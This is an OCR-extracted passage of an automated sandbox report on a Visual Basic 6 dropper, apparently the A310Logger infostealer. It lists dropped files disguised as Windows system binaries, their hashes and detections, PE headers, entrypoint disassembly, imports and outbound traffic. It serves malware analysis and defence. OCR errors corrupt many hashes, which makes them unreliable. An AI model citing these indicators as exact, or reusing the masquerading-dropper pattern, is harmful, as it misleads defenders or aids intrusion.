6:1191bxbt+r+CFQXQB79Xa9Xh9XR5+fIEij1b5X:rI3b/+PFQ4JG7ONEipl
20275BBFEOB1568DCBAF7B5A1047C854
47542065C1C5CACD6E27DAC85B43F1B2B9948B70
5AAA1419B554FAB42DA577910EC6B26C1E6C24DFAA458BC56D4AF1AB7B8433E3
E69A1ECDBE0891A50C61AEAEB928149D83518196375F864F919767B78488634CE21CFC07625D8B92BD832CA2ECEF7F8C5ED02320BB857B563E4F263D72DF72E

false

C:\Users\user\AppData\Local\icsys.icn.exe v@

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:

SHA-512:

Malicious:

Antivirus:

Preview:

C:\Users\user\Desktop\Lg3gn9y1Cj.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

280890

5.207941587783397

false
3072:UvEfVUZzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unB:UVEN2U+T6i5LirrIHy4AHUcMQY6M
4223968DA579570E05813854A134397B
07BDAA69105CAE6467337D965EB968B6765FE28E
85CE1F5747CE26ADF8191236668B87796ED45B1E15A9B87FA8A2F3C80BIB65FC

C62411E35DB1940412BF5D8132C1A9A4346EC179B23EC57945BE7EAG4C5640850CFFF94B122CA980293653B270A0C968C48E0B27AFOAFOBDSBFEL77ED72EGBE
B

true

e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%

..Am..P..P..P.zL...P...0...P...O...P..Rich.P.
............. R N—
.MSVBVM60.DLL.

1..L.IThis program cannot be run in DOS mode....$..

C:\Users\user\AppData\Local\stsys.exe v@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

C:\Windows\System\svchost.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

280936

5.212744789348709

false
3072:UvEfVUzSLhIVbV6i5LirZrHyrUHUckoMQ2RN6unD:UVEN2U+T6i5LirrlIHy4HUCcMQY6G
9AE508566C73A6DC1E178CD37C7F5A1F
19F8704A4FDEBE841B27522167E0BC2DD1BBD710
354C079A4DEE7FCF3E423075B9938DFE58CC3DEDFE8F574C961D5079D2678CAD
FF450C6664C4C2B87E534C1F1447C931DBF457E588A1B320C5FDC1921EA764704C347CDDEAGFB2433ED5320F5F570846420F52BACED2164508B7E0D993BES3(

true

e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%

cood kd Pt Poed Poc Lo PoodOrod Pood Ched Poc RIEIH P
............. R S—

1..L.IThis program cannot be run in DOS mode....$..

C:\Users\user\AppData\Roaming\mrsys.exe v@
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Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Antivirus:

Preview:

C:\Windows\System\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

281108

5.226904366194023

false
3072:UvEfVUzSLhIVbV6i5LirlZrHyrUHUckoMQ2RN6un7:UVEN2U+T6i5LirrIHy4HUCMQY 6y
CB3A6EA5289DC0011C2E80778923121E
BA21DB2ADA4182FB6854BA2AD6CC43617A1EAB6G4
E1FDBFD8A14848EDB78DDEA2F324D56EAFCCB9E80A91B77113A48B1791F8872E

562E152B88FF60325CD7A3D5268523A4124DBF48D737DB8CCCCCO90E7E8CF32D8084BA40386501DD3A412065C0C044D52A502CA3EAB6CA4C6AEGD3075292DF!
E

true

e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%

C:\Users\user\Desktop\lg3gn9yicj.exe v@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Yara Hits:

Antivirus:

Preview:

C:\Users\user\Desktop\Lg3gn9y1Cj.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
135168
5.556666529655342
false
1536:MPM/Zws3kTnvzbhNBPmxue2SRQg0dkEwigoViocldus3h4b6P/C:MYZTkLfhjFSiO30eldlsqC
BEE47439C4960E2728594ECE9AD95BA7
43F4B6F607DEC5BEC2A33E2FB4148C38DE832490
8A1902D9CODBE388B28EF5A9C8EC4COF1802FC6CCD43471EA337DCB3D71C81D4
AD84D419D61B63E36A6766BA90773B39270BFI9C8E72373B52C1979097E73110F749FADOCFEDS5C4F233304AD0AF4AB6E753666911FF7DB83475C16C38976C46382
true
e Rule: MALWARE_Win_A310Logger, Description: Detects A310Logger, Source: C:\Users\user\Desktop\lg3gn9ylcj.exe , Author: ditekSHen

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 26%, Browse
Antivirus: ReversingLabs, Detection: 92%

e o o o

1..L.IThis program cannot be run in DOS mode....$........A.A.A...@..(..B....@..RichA..

..... 8. ...

C:\Windows\Logs\waasmedic\waasmedic.20220805_070938_705.etl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

8192

2.7288702499822977

false
48:11znr522cab7kUTFb7KEKb7kI7b7kwb7kblI9IKb7kO0tpl+b7k3/Rb7kUb7kwtbH:71200UTFOROpOWOUIMOCI+0350U0i090
CEAD2041C8D4962195D07618A29DC8CB

9F8846FC929472F0F34EB86566C63E0BB0024744
49CE3E0B0082B180DAEGOFC7F4EBF01359D027E1BF93FC51C6AAB2F38343F579
03673ACA340C5B4FE28F74E87E130AF1BC76B66466D1D507C594A3C41CF152E64CAA78018F97596AF2D980299F39D60BFE3EDSA7A7EAAD81B756FCE385425C!

e @.tzres.dll, 32,10
\W.i.n.d.ow.s.\lo.g.s\w.a.a.s.m.e.d.i.c.
B..@
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https://www.metadefender.com/#!/results/file/bzIyMDcxNkxiLVF1LWJYVlhvY0pkWXVObnU/regular/analysis

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process: C:\Windows\System32\svchost.exe
File Type: ASCII text, with no line terminators
Category: dropped

Size (bytes): 55

Entropy (8bit):  4.306461250274409

Encrypted: false

SSDEEP: 3:YDQRWuU83XfAW2fHbY:YMRI83Xt2f7Y

MDS5: DCA83F08D448911A14C22EBCACC5AD57

SHAL: 91270525521B7FEOD986DB19747F47D34B6318AD

SHA-256: 2B4B2D4A06044ADOBD2AE3287CFCBECDI0B959FEB2F503AC258D7C0A235D6FE9

SHA-512: 96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FDIE9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBCOBAIFBA
CA

Malicious: false

Preview: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System\cmsys.cmn

Process: C:\Windows\System\explorer.exe

File Type: HTML document, UTF-8 Unicode text, with very long lines
Category: dropped

Size (bytes): 56286

Entropy (8bit):  5.402091021498643

Encrypted: false

SSDEEP: 1536:PyMapcrHsCNwn1dOkelTaGNpSz17sjQRrCjmZlicinlZ+/s:Pg8wnSxdglcinlZCs

MD5: 276F671F15DAEEA9BOA348C035211481

SHA1L: 0B33726249C5FFEC7A23F44506F533879F46B5AE

SHA-256: 380DB9B45C38368CE654C7976EBADA338C026047B020D4924D29B73978399ECE

SHA-512: 2502DB102655C3E43A0DD569D2214618676039C3FOBCA37DD9175C2A1B693B76734EDA2E4B51EBE37473B00AF931BBIFFFADCDIC665485273FBA2CA1861020€
Malicious: false

Preview: <IDOCTYPE html>.<html lang="en-US" class="s-dark site-s-dark">..<head>...<meta charset="UTF-8" />..<meta name="viewport" content="width=device-width, initial-sc

ale=1"/>..<meta name="robots' content="index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO Pr
emium plugin v18.0 (Yoast SEO v18.4.1) - https://yoast.com/wordpress/plugins/seo/ -->..<title>What happened to the old ZXQ website? | ZXQ</title><link rel="preload"
as="font" href="https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2" type="font/woff2" crossorigin="anonymous" />..<link rel="canonical"
href="https://zxq.net/what-happened-to-the-old-zxq-website/" />..<meta property="og:locale" content="en_US" />..<meta property="0g:type" content="article" />..<meta
property="og:title" content="What happened to the old ZXQ website?" />..<meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old
ZXQ website

C:\Windows\System\explorer.exe v@

Process: C:\Users\user\AppData\Local\icsys.icn.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 281083

Entropy (8bit):  5.202661139115795

Encrypted: false

SSDEEP: 3072:UvEfVUzSLhIVbV6i5LirZrHyrUHUckoMQ2RN6unL:UVEN2U+T6i5LirrlIHy4HUcMQY6c¢

MD5: A6F18E47BFFD6F5C4AA28B67644DBDBE

SHAL: DCDD1C1A4AE4B4895C6178B74F6E2EE9EGSESE4A

SHA-256: 68322016C65440FC7D65639B5FFFDAOFCB88A48C71A7EBFB97538CEEFFO1E169

SHA-512: 13708F55B9CDC2C543A0E30390A5DCC5FEF84FE6CIAB2F91C051072A4CD6A52C6DB46959FD426338575D2E86D023FA3539783CC7EDOSE013639A47ECFICT775
A

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%

cood bd Pt Pocd Poc Lo Poodbod Pood Cbed Pod RIE I P
............. R Np—

Preview: 1..L.IThis program cannot be run in DOS mode....$..

C:\Windows\System\spoolsv.exe v@

Process: C:\Windows\System\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
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Category: dropped
Size (bytes): 281050

Entropy (8bit):  5.203679658631862

Encrypted: false

SSDEEP: 3072:UvEfVUZzSLhIVbV6i5LirZrHyrUHUckoMQ2RN6unp:UVEN2U+T6i5LirrlIHy4AHUCMQY6A

MD5: 3BA9E53239D4DCA948B4BFCBB08D7F34

SHAL: DCAEACF865EEC33FC25F070BD14E625DB62EAEEA

SHA-256: DE744B26539460F87FDE59A46F8B02B804B48B09F8858C6E47D5A91884BDB815

SHA-512: 253A7D9149D3BF78B3CF1388F8F938FI9CA88BF32BBCFA839B69AA291AE3EEB012A18B3BD8DICA6CIE15F7112FDO8F8B8DFA9231A7D54F4C6BB38DIBAC3F3C
D77

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%

..dm..P..P..P.zL...P...0...P...O...P..Rich.P.
............. [Proos s

Preview: . . 1..L.IThis program cannot be run in DOS mode....$..

C:\Windows\System\svchost.exe v@

Process: C:\Windows\System\spoolsv.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 281069

Entropy (8bit):  5.1944174556657225

Encrypted: false

SSDEEP: 3072:UvEfVUzSLhIVbV6I5LirrlZrHyrUHUckoMQ2RN6uns:UVEN2U+T6i5LirrlIHy4HUCcMQY 6/

MD5: B61A3DA9B4DB4644497B9CC1BE87515F

SHA1L: AB2D7BCD8ED29C7CB153C773E51E67183DDAESGF

SHA-256: 0BB1AB1BD7CE02E6CBADSA5090E784EA8C99A0EDCDDFF9798CF6ADCFB473E966

SHA-512: 46001689BBA5SAEFF7D05B51400FFF8E4B833A65DAF26D2AC2C66B3535CBE17F92F3A2415F3A6C65404032507C66B6658C8EF8D83A24DCA9C53666C5ABD6EAL6(
D

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%

Preview:

Static File Info

General

File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit):  5.4282107837365885

TriD: e Win32 Executable (generic) a (10002005/4) 99.15%
e Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name: Lg3gn9y1Cj.exe
File size: 416083
MD5: 45061e4da841c2587d0890148705a142
SHAL: eb68218¢1d70f3ba00f8190c8171ad1cfa2fb42a
SHA256: 6731f235ff78e22e5a0f1503542926bb707a95251b8chd22c56fbd7fc5a8chbf
SHA512: 01a561bbb8418364078e4751e69a5d61075220cfbaa7582a0b664ccclfd45béddlaccec4ef3dd2b2e6b0dc1a99d9e5f5605ee453eb6¢1010c28a189109a51¢294
SSDEEP: 6144:UvEN2U+T6i5LirrlIHy4AHUcMQY61Ddrelfa:GENN+T5xYrlirU7QY61ra
TLSH: A3946D6AFB64321AF577D6F0692792697B397D321F629C5F92C06B082474213B2B031F
File Content MZ..ooiiiiiiiiin @ e I..L.IThis program cannot be run in DOS
Preview: mode....$........ im..P..P..P.zL..P..O0..P..O...P..Rich.P.......... X[ IS S———— 0..co.pBunne @
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File lcon

3

Icon Hash: 20047c7c70f0e004

Static PE Info

General

Entrypoint: 0x403670

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

DLL Characteristics:
Time Stamp: 0x4DF7AFFC [Tue Jun 14 19:01:16 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o » ©o ~ O »

Subsystem Version Minor:

Import Hash: 98f67c550a7da65513e63ffd998f6b2e

Entrypoint Preview
Instruction

push 00403ED4h

call 00007F135C6F16E5h
add byte ptr [eax], al

inc eax

add byte ptr [eax], al

add byte ptr [eax], dh

add byte ptr [eax], al

add byte ptr [eax], bh

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [ecx-7FFA577Dh], dl
adc eax, dword ptr [bx-4Fh]
push edx

xchg eax, ebx

pop eax

jnc 00007F135C6F167Dh
nop

add al, 00h

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [ecx], al

add byte ptr [eax], al

add byte ptr [eax+00h], al
hit

test al, F6h

add byte ptr [edi+69h], dI
outsb

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Copyright Joe Security LLC 2022 Page 43 of 104



Instruction

movsd

test byte ptr [eax], 00000019h
add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax+00000000h], cl
add byte ptr [eax], al

add byte ptr [edx], al

add byte ptr [eax], al

add byte ptr [edi], al

add byte ptr [eax], al

add byte ptr [ebp-4E810EB2h], al
pushfd

call far 1AF7h : C9C2984Bh
jo 00007F135C6F169Bh

cmp byte ptr [ecx], al

add byte ptr [eax], al

add byte ptr [eax-58000000h], bl
add byte ptr [eax], al

add byte ptr [ecx], al

add byte ptr [eax], al

add byte ptr [ecx+ebp*4], bh
test byte ptr [eax], 00000001h
and byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax-5Bh], ah
test byte ptr [eax], 0000001Bh
add byte ptr [eax], al

add byte ptr [ebp+45h], dh

js 00007F135C6F1749h
popad

je 00007F135C6F1755h

push 0040C100h

fadd st(0), st(0)

inc eax

add bl, bl

scasb

dec ecx

test dword ptr [ecx+ebx-3F56B459h], eax
mov bl, 8Fh

xor eax, 70C5231Dh

rol byte ptr [edi+edx*8-12h], cl
salc

dec edx

mov ah, 13h

in eax, dx

fsub qword ptr [edi]

push 31CCFF3Ch

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0Ox2ac84 0x28 text
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x2e000 0x5e0 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0

IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0
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Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x250 0x20

IMAGE_DIRECTORY_ENTRY_IAT 0x1000 0x284 text

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x2a728 0x2b000 False 0.3680675417877907 data 5.947197438251493 IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

.data 0x2c000 0x1b74 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

.rsrc 0x2e000 0x5e0 0x1000 False 0.118408203125 data 1.6929355482699409 IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ

.tdata 0x2f000 0xf000 0xf000 False 0.0013346354166666667 data 0.0 IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

Resources

Name RVA Size Type Language Country

RT_ICON 0x2e2f8 0Oxcd0 dBase IV DBT of @.DBF, block length 3072, next

free block index 40, next free block 0, next used
block 0

RT_GROUP_ICON Ox2e2e4 0x14 data

RT_VERSION 0x2e0f0 0ox1f4 data English United States

Imports

DLL Import

MSVBVM60.DLL EVENT_SINK_GetIDsOfNames, __ vbaStrl2, _Clcos, _adj_fptan, _ vbaStrl4, _ vbaVarVargNofree,

__vbaFreeVar, _ vbaStrVarMove, _ vbalenBstr, _ vbalateldCall, _ vbaPut3, _ vbaEnd, _ vbaFreeVarList,
_adj_fdiv_m6é4, _ vbaPut4, EVENT_SINK_Invoke, _ vbaRaiseEvent, _ vbaFreeObijList, _ vbaStrErrVarCopy,
_adj_fprem1, _ vbaRecAnsiToUni, _ vbaCopyBytes, _ vbaStrCat, _ vbalsetFixstr, _ vbaRecDestruct,
__vbaSetSystemError, __vbaHresultCheckObj, __vbaNameFile, _adj_fdiv_m32, _ vbaAryVar,
Zombie_GetTypelnfo, __vbaAryDestruct, __vbaBoolStr, __vbaExitProc, __vbal4Abs, _vbaOnError,
__vbaObjSet, _adj_fdiv_m16i, _ vbaObjSetAddref, _adj_fdivr_m16i, _ vbaFpR4, _ vbaStrFixstr, _Clsin,
__vbaErase, _ vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, _ vbaGenerateBoundsError, _ vbaGet3,
__vbaStrCmp, __vbaGet4, _ vbaPutOwner3, _ vbaVarTstEq, _ vbaAryConstruct2, _ vbaObjVar, _ vbal2l4,
DlIFunctionCall, __vbaVarLateMemSt, _ vbaFpUI1, _ vbaRedimPreserve, _ vbaStrR4, _adj_fpatan,
__vbaFixstrConstruct, _ vbalateldCallLd, Zombie_GetTypelnfoCount, _ vbaRedim, _ vbaRecUniToAnsi,
EVENT_SINK_Release, __vbaNew, __vbaUl1l2, _Clsqrt, EVENT_SINK_QuerylInterface, __vbaExceptHandler,
__vbaStrToUnicode, _adj_fprem, _adj_fdivr_m64, _ vbaFPException, _ vbaGetOwner3, _ vbaUbound,
__vbaFileSeek, _Cllog, _ vbaErrorOverflow, __vbaFileOpen, _ vbaVarLateMemCallLdRf, _ vbaNew2,
__vbalnStr, _adj_fdiv_m32i, _adj_fdivr_m32i, _ vbaStrCopy, _ vbal4Str, _ vbaFreeStrList, _adj_fdivr_m32,
_adj_fdiv_r, _ vbaVarSetVar, _ vbal4Var, _ vbalLateMemCall, _ vbaVarAdd, _ vbaAryLock, _ vbaStrComp,
__vbaVarDup, __vbaStrToAnsi, _ vbaFpl2, _ vbaFpl4, _ vbaVarLateMemCallLd, _ vbaVarSetObjAddref,
__vbaRecDestructAnsi, __vbalLateMemcCallLd, _Clatan, _ vbaAryCopy, _ vbaStrMove, __ vbaCastObj,
__vbaR8Intl4, _allmul, _ vbaVarLateMemCallSt, _Cltan, __vbaAryUnlock, _Clexp, _ vbaFreeObj,

__VvbaFreeStr
Possible Origin
Language of compilation system Country where language is spoken Map
-~
English United States
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Network Behavior

Network Port Distribution

Total Packets: 69

@ 53 (DNS)

® 443 (HTTPS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Aug 5, 2022 09:09:15.473563910 CEST 49753 80 192.168.2.4 104.18.114.97
Aug 5, 2022 09:09:15.491090059 CEST 80 49753 104.18.114.97 192.168.2.4
Aug 5, 2022 09:09:15.493091106 CEST 49753 80 192.168.2.4 104.18.114.97
Aug 5, 2022 09:09:15.496514082 CEST 49753 80 192.168.2.4 104.18.114.97
Aug 5, 2022 09:09:15.513952017 CEST 80 49753 104.18.114.97 192.168.2.4
Aug 5, 2022 09:09:15.521750927 CEST 80 49753 104.18.114.97 192.168.2.4
Aug 5, 2022 09:09:15.617422104 CEST 49753 80 192.168.2.4 104.18.114.97
Aug 5, 2022 09:09:16.963844061 CEST 49753 80 192.168.2.4 104.18.114.97
Aug 5, 2022 09:09:28.189430952 CEST 49760 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:28.216586113 CEST 80 49760 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:28.216830015 CEST 49760 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:28.219057083 CEST 49760 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:28.246346951 CEST 80 49760 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:28.246371984 CEST 80 49760 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:28.246386051 CEST 80 49760 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:28.246483088 CEST 49760 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:28.249911070 CEST 49760 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:28.249958992 CEST 49760 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:30.782454014 CEST 49761 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:30.809376955 CEST 80 49761 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:30.809510946 CEST 49761 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:30.905103922 CEST 49761 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:30.932090044 CEST 80 49761 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:30.932235003 CEST 80 49761 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:30.932254076 CEST 80 49761 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:30.932307005 CEST 49761 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:30.932333946 CEST 49761 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:30.936908960 CEST 49761 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:30.936959028 CEST 49761 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:33.015863895 CEST 49762 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:33.043072939 CEST 80 49762 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:33.043263912 CEST 49762 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:33.049024105 CEST 49762 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:33.076025963 CEST 80 49762 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:33.076080084 CEST 80 49762 142.250.145.82 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 09:09:33.076112986 CEST 80 49762 142.250.145.82 192.168.2.4
Aug 5, 2022 09:09:33.076313019 CEST 49762 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:33.079133034 CEST 49762 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:33.093545914 CEST 49762 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:33.093641996 CEST 49762 80 192.168.2.4 142.250.145.82
Aug 5, 2022 09:09:38.442416906 CEST 49764 80 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:38.608819008 CEST 80 49764 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:38.609069109 CEST 49764 80 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:38.610742092 CEST 49764 80 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:38.777107954 CEST 80 49764 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:38.777231932 CEST 80 49764 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:38.777374029 CEST 49764 80 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:39.267883062 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:39.267934084 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:39.268999100 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:39.298546076 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:39.298590899 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:39.643004894 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:39.643240929 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.254115105 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.254175901 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:40.254524946 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.254524946 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:40.254617929 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.295370102 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:40.419905901 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:40.419989109 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:40.420087099 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.420110941 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.445852041 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.445909977 CEST 443 49766 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:40.445931911 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.446058035 CEST 49766 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.690129042 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.690174103 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:40.690273046 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.690960884 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:40.690982103 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.032985926 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.035249949 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.329643011 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.329710960 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.344166994 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.344188929 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.513824940 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.515475035 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.515496016 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.515610933 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.682277918 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.682301044 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.682358027 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.682413101 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.682430983 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.682444096 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.682466984 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.682549000 CEST 49769 443 192.168.2.4 51.81.194.202
Aug 5, 2022 09:09:41.850943089 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.850991964 CEST 443 49769 51.81.194.202 192.168.2.4
Aug 5, 2022 09:09:41.851121902 CEST 443 49769 51.81.194.202 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 09:09:41.851243019 CEST 49769 443 192.168.2.4 51.81.194.202

Aug 5, 2022 09:09:41.851258993 CEST 443 49769 51.81.194.202 192.168.2.4

